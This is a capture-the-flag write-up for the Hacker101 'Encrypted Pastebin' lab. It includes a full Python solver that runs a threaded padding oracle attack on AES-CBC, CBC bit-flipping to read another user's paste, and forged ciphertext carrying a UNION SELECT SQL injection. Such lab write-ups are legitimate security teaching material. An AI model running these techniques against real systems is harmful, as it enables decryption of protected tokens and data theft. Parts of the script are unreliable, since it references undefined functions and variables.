π CTF Write-up: Encrypted Pastebin (Hacker101)
Hacker101 CTF | Advanced Crypto Challenge | Full Python Walkthrough
Hello folks! I'm Shivam, and this is a deep-dive walkthrough of the Encrypted Pastebin challenge from Hacker101 CTF. Instead of using Perl tools like PadBuster, I tackled this challenge using Python, threading, and bit-flipping.
π© Flag 0: Initial Padding Error Discovery
After submitting a paste, the server returned an AES-encrypted token in the URL. By simply tampering with the post
parameter (e.g., removing characters), the server threw padding errors, which confirmed encryption weaknesses.
π© Flag 1: Padding Oracle Attack with Python Threads
I wrote a multithreaded padding oracle attack script to decrypt the AES ciphertext block-by-block.
for guess in range(256):
crafted = manipulated_block + real_cipher
if oracle(crafted):
recover plaintext
Once decrypted, the server responded with the second flag embedded in the paste body.
π© Flag 2: CBC Bit-Flipping for IDOR
Next up, I targeted CBC-mode malleability. By knowing the plaintext and IV for block 6, I computed a new IV to request another userβs paste.
This gave me access to another encrypted post, revealing Flag 3.
π© Flag 3: SQL Injection via XOR Ciphertext Manipulation
The final trick was to exploit a bit-flip to convert ciphertext into a SQL injection payload. I crafted a payload like:
I reversed the XOR logic from the decrypted block and forged a chain of ciphertext blocks, resulting in full SQLi and exfiltration of headers + Flag 4.
π Full Python Script
from requests import get as get_request, post as post_request
from re import search as search_flag, findall as findall_flags
from base64 import b64decode as decode_base64, b64encode as encode_base64
from pwn import xor
from tqdm import trange
from queue import Queue
from threading import Thread
# Getting CTF URL
ctf_url = f"https://{`{`}input("\033[32m[1] Enter your ctf id: \033[0m"){`}`}.ctf.hacker101.com"
# Declaring Flags list
FLAGS = []
# Custom base64 decode used by challenge server (URL-safe variant)
def custom_decode(x):
return b64decode(x.replace(b'~', b'=').replace(b'!', b'/').replace(b'-', b'+'))
# Custom base64 encode used by challenge server (URL-safe variant)
def custom_encode(x):
return b64encode(x).replace(b'=', b'~').replace(b'/', b'!').replace(b'+', b'-')
# PKCS#7 padding for AES block alignment (16-byte block size)
def pad(x):
pad_len = 16 - len(x) % 16
return x + bytes([pad_len] * pad_len)
# Padding oracle query: returns True if padding is valid (i.e., no padding error)
def oracle(x):
resp = get_request(url + custom_encode(x).decode())
return 'Incorrect padding' not in resp.text and 'PaddingException' not in resp.text
# Worker function to try byte values in a given range, appends correct guess to `result`
def find_byte_range(x, suf, i, start, end, result):
for j in range(start, end):
padding = bytes([i ^ (i - 1)] * (i - 1))
cur_suf = b'\\x01' * (16 - i) + bytes([j]) + xor(suf, padding)
if oracle(cur_suf + x):
result.append(j)
break
# Core function to brute-force one 16-byte block using padding oracle
def brute_init(x):
cur, suf = b'', b''
for i in trange(1, 17):
threads, result = [], []
step = 4
for t in range(64):
start, end = t * step, (t + 1) * step if t != 63 else 256
thread = Thread(target=find_byte_range, args=(x, suf, i, start, end, result))
threads.append(thread)
thread.start()
for thread in threads: thread.join()
if result:
j = result[0]
padding = bytes([i ^ (i - 1)] * (i - 1))
cur_suf = b'\x01' * (16 - i) + bytes([j]) + xor(suf, padding)
suf = cur_suf[16 - i:]
cur = xor(bytes([i]), suf[0:1]) + cur
return cur
class BlockDecryptor(Thread):
def __init__(self, block_index, prev_ct, cur_ct, output_queue):
Thread.__init__(self)
self.block_index = block_index
self.prev_ct = prev_ct
self.cur_ct = cur_ct
self.output_queue = output_queue
self.oracle = lambda c: "padding" not in get_request(`{ctf_url}/?post={c}`, headers={"User-Agent": "Mozilla/5.0"}).text.lower()
def run(self):
print(f"\033[32m[*] Starting decryption of block {self.block_index}\033[0m")
intermediate = bytearray(16)
plaintext_block = bytearray(16)
modified_block = bytearray(16)
for padding_length in range(1, 17):
byte_pos = 16 - padding_length
print(f"\033[32m[+] Block {self.block_index} - guessing byte {byte_pos} (padding {padding_length})\033[0m")
for i in range(1, padding_length):
modified_block[-i] = intermediate[-i] ^ padding_length
found = False
for guess in range(256):
modified_block[-padding_length] = guess
crafted_cipher = bytes(modified_block) + self.cur_ct
crafted_cipher_b64 = encode_base64(crafted_cipher).decode().replace('=', '~').replace('/', '!').replace('+', '-')
if self.oracle(crafted_cipher_b64):
intermediate[-padding_length] = guess ^ padding_length
plaintext_block[-padding_length] = intermediate[-padding_length] ^ self.prev_ct[-padding_length]
print(f"\033[32m[*] Block {self.block_index} byte {byte_pos} decrypted: {plaintext_block[-padding_length]:02x}\033[0m")
found = True
break
if not found:
print(f"\033[32m[!] Block {self.block_index} byte {byte_pos} failed to decrypt!\033[0m")
print(f"\033[32m[*] Finished decrypting block {self.block_index}: {plaintext_block.hex()}\033[0m")
self.output_queue.put((self.block_index, bytes(plaintext_block)))
# Handling Exceptions #
try:
# Checking for correct ctf id #
if get_request(ctf_url).status_code == 200:
print("\033[33m[2] Please wait while we featch all flags. This might take 30-60minutes or more.\033[0m")
encypted_token = post_request(ctf_url, data={"title": "Skillshetra", "body": "Skillshetra in python"}).url.replace(f"{ctf_url}/?post=", "")
FLAGS.append(f"^FLAG^" + search_flag(r"\^FLAG\^(.*?)\$FLAG\$", get_request(f"{ctf_url}/?post=" + encypted_token[:-2]).text).group(1) + "$FLAG$")
print("\033[32m Got the first flag.... \033[0m")
cipher_text = decode_base64(encypted_token.replace("~", "=").replace("!", "/").replace("-", "+"))
blocks = [cipher_text[i:i+16] for i in range(0, len(cipher_text), 16)]
output_queue = Queue()
threads = []
print(f"\033[31m[*] Starting parallel decryption of {len(blocks) - 1} blocks\033[0m")
for i in range(1, len(blocks)):
t = BlockDecryptor(i, blocks[i-1], blocks[i], output_queue)
t.start()
threads.append(t)
for t in threads: t.join()
decrypted_blocks = [None] * (len(blocks) - 1)
while not output_queue.empty():
idx, block = output_queue.get()
decrypted_blocks[idx - 1] = block
decrypted = b"".join(decrypted_blocks)
decrypted = decrypted[:-decrypted[-1]].decode("utf-8", errors="ignore")
FLAGS.append(f"^FLAG^" + search_flag(r"\^FLAG\^(.*?)\$FLAG\$", decrypted).group(1) + "$FLAG$")
print("\033[32m Got the second flag.... \033[0m")
bxor = lambda b1, b2: bytes([x ^ y for x, y in zip(b1, b2)])
data = decode_base64(encypted_token.replace("~", "=").replace("!", "/").replace("-", "+"))[16*(1+5):]
iv_6 = decode_base64(encypted_token.replace("~", "=").replace("!", "/").replace("-", "+"))[16*(1+4):16*(1+5)]
intermediate = bxor(b'$FLAG$", "id": "', iv_6)
iv = bxor(intermediate, b'{"id":"1", "i":"')
payload = encode_base64(iv + data).decode("utf-8").replace("=", "~").replace("/", "!").replace("+", "-")
FLAGS.append(f"^FLAG^" + search_flag(r"\^FLAG\^(.*?)\$FLAG\$", get_request(f"{ctf_url}/?post=" + payload).text).group(1) + "$FLAG$")
print("\033[32m Got the third flag.... \033[0m")
url = f"{ctf_url}/?post="
cur_param = custom_decode(encypted_token.encode())
last = cur_param[16:32]
known = xor(cur_param[:16], b'{"flag": "^FLAG^')
wanted = pad(b'{"id":"7 UNION SELECT group_concat(headers), 1 FROM tracking"}')
payload = last
for i in range(len(wanted), 16, -16):
payload = xor(known[:16], wanted[i-16:i]) + payload
known = brute_init(payload[:16]) + known
payload = custom_encode(xor(known[:16], wanted[:16]) + payload)
payload = search_flag(r'post=([a-zA-Z0-9\-\_\!\~]+)', get_request(f"{ctf_url}/?post=" + payload.decode()).text).group(1)
for flag in findall_flags(r"\^FLAG\^(.*?)\$FLAG\$", get_request(f"{ctf_url}/?post=" + payload).text):
if flag not in FLAGS:
FLAGS.append("^FLAG^" + flag + "$FLAG$")
else:
print("\033[33m[2] Wrong ctf id check and try again.\033[0m")
except Exception as e:
print(f"\033[31m[3] {str(e)}\033[0m")
print(f"\033[32m[3] Your flags are: {FLAGS}\033[0m")
π₯ Video Walkthrough
π·οΈ Tags
#Hacker101 #EncryptedPastebin #CTFWriteup #PaddingOracle #CBCBitFlipping #PythonCTF #Skillshetra